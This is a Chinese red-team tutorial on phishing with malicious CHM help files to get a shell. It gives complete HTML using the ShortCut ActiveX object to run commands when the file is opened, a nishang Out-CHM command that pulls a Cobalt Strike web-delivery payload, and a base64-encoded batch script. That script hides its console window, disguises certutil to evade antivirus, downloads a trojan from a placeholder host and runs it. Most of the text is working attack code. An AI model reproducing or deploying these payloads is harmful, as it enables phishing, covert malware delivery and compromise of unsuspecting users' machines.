【红队】通过恶意chm文件getshell

LeYuuu2024-03-07文章来源:SecHub网络安全社区


1.利用chm帮助文档钓鱼

1.1介绍

chm是Compiled HTML Help file的缩写,意为已编译的HTML帮助文件,当攻击者将恶意代码写入chm中,当用户点击就会执行预设的恶意命令。
这里展示一个winRAR的帮助文档

一般是用于说明和介绍软件的使用

1.2注入恶意命令

这里咱先把简单弹出calc命令注入进去
需要用的工具html help workshop
链接:https://pan.baidu.com/s/1mxfDgs7VjMu9T9wOZUmLUg
提取码:9999
首先创建一个html文件

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

接着打开工具Microsoft HTML Help Workshop.exe

然后生成hpp文件

之后把生成的1.hhp编译一下,生成chm文件

点击一下即可执行命令

1.3注入恶意命令并上线CS

我们首先在cs上启用web投递功能

然后获取url之后,咱们用nishang直接生成一个chm
https://github.com/samratashok/nishang
获取其中的powershell脚本

加载脚本并生成文件

Import-Module .\Out-CHM.ps1

Out-CHM -PayloadURL http://xx.xx.xx.xx:90/ -HHCPath "C:\Users\dell\Desktop\HTMLHelp_V4.74.8702_XiTongZhiJia"

--HHCPath这个参数用来指定刚才html help workshop工具的根目录
-PayloadURL 是CS启用web投递,生成的命令中,请求下载的url

点击尝试是否能上线成功

1.4其他用法

既然可以在用户不知情的情况下执行命令,那么咱们可以构造一个下载并执行的命令
让用户下载木马并执行
用之前研究的certutil绕杀软下载目标,并执行

构造html

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',cmd,/c "echo QGVjaG8gb2ZmCmlmICIlMSIgPT0gImgiIGdvdG8gYmVnaW4KbXNodGEgdmJzY3JpcHQ6Y3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikucnVuKCIiImM6XHVzZXJzXHB1YmxpY1wlfm54MCIiIGgiLDApKHdpbmRvdy5jbG9zZSkmJmV4aXQKOmJlZ2luClJFTQpjb3B5IEM6XFdpbmRvd3NcU3lzdGVtMzJcY2VydHV0aWwuZXhlIGFhLmV4ZQpjb3B5IEM6XFdpbmRvd3NcU3lzdGVtMzJcY2FsYy5leGUgYmIuZXhlCmNvcHkgL2IgYWEuZXhlK2JiLmV4ZSBuZXcuZXhlCm5ldyAtdXJsY2FjaGUgIC1zcGxpdCAtZiBodHRwOi8veHgueHgueHgueHguOjk1NTUvaGFjLmV4ZSBDOlx1c2Vyc1xwdWJsaWNcMTExLmV4ZQpkZWwgYWEuZXhlIGJiLmV4ZSBuZXcuZXhlCkM6XHVzZXJzXHB1YmxpY1wxMTEuZXhl > c:\users\public\1.txt & certutil -decode c:\users\public\1.txt c:\users\public\2.bat & c:\users\public\2.bat "'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

注意这俩逗号不能省略

编译生成chm文件

修改下载地址之后,运行
之后会在c:\users\public下生成bat脚本 和exe木马

bat脚本内容如下

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""c:\users\public\%~nx0"" h",0)(window.close)&&exit
:begin
REM
copy C:\Windows\System32\certutil.exe aa.exe
copy C:\Windows\System32\calc.exe bb.exe
copy /b aa.exe+bb.exe new.exe
new -urlcache  -split -f http://xx.xx.xx.xx.:9555/hac.exe C:\users\public\111.exe
del aa.exe bb.exe new.exe
C:\users\public\111.exe

这里多说一句
在构造这个命令的时候,我的思路是创建个批处理,之后用bypass方式的certutil去下载远程木马并执行

然而尝试一些办法之后,发现命令执行之后留有黑窗,按理说cmd /c 这种是不会保留黑窗的,但是在运行exe时却停留了,以致黑窗一直保留;
于是上网查阅之后发现一种方式
在bat批处理文件,加上这些代码

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
命令1
命令2
.....

但是这里注意一点
如果你在其他目录运行这个bat脚本上不行的
例如你在c:\a目录下打开cmd要运行 c:\b\1.bat会报错

你只需要

就可以在任意目录,使用绝对路径调用该bat了